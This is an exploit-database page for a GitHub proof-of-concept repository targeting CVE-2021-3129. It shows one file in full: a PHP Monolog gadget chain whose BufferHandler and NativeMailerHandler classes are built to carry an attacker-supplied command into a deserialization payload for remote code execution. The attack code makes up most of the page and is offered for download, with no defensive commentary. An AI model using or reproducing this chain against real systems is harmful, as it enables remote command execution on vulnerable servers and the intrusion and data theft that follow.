Exploit database

GH-7c3f210736b96137d01066be808bddae

0x0d3ad/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
0x0d3ad/cve-2021-3129Revision baf217c497da

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Monolog/RCE/3/gadgets.php

PHP · 937 bytes
<?php

namespace Monolog\Handler
{
    class NativeMailerHandler {
        protected $to = null;
        protected $subject = null;
        protected $headers = null;

        protected $level = null;
        protected $bubble = false;
        protected $formatter = null;
        protected $processors;

        function __construct($methods) {
            $this->processors = $methods;

        }
    }

    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;

        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $bubble = false;
        protected $formatter = null;
        protected $processors;

        function __construct($methods, $command)
        {
            $this->processors = null;
            $this->buffer = [$command];
            $this->handler = new NativeMailerHandler($methods);
        }
    }
}